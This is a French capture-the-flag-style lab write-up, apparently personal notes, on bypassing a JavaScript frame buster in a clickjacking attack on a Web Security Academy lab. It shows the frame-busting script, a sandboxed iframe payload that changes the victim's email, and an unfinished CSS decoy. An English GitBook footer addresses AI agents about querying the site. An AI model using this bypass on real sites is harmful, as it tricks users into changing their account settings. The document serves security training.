# Clickjacking avec script anti-cadre

### Clickjacking avec un script anti-encadrement

Effectuez une attaque de clickjacking qui modifie l'adresse e-mail de l'utilisateur malgré la présence d'un « frame buster ». Le laboratoire est résolu lorsque l'adresse e-mail du compte a été modifiée.

#### Identifiants fournis

* Utilisateur : `wiener`
* Mot de passe : `peter`

#### Constat initial

En essayant d'afficher la page du compte dans un simple `<iframe>`, la page renvoie le contenu suivant (exemple d

{% code overflow="wrap" %}

```html
<iframe src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=wiener"</iframe>
```

{% endcode %}

#### Protection observée (frame buster)

La page contient un script qui empêche l'encadrement et remplace le corps du document si la page est chargée dans un cadre :

```javascript
if(top != self) {
 window.addEventListener("DOMContentLoaded", function() {
 document.body.innerHTML = 'Cette page ne peut pas être encadrée';
 }, false);
}
```

Ce mécanisme détecte lorsque la page se trouve dans une iframe et neutralise le contenu affiché.

{% code overflow="wrap" %}

```html
<iframe sandbox="allow-forms" src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=jordan@hacked.com"</iframe>
```

{% endcode %}

Exemple de style et de calque d'appât utilisés

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 455px;
left: 80px;

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/clickjacking/clickjacking-with-frame-buster-script.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
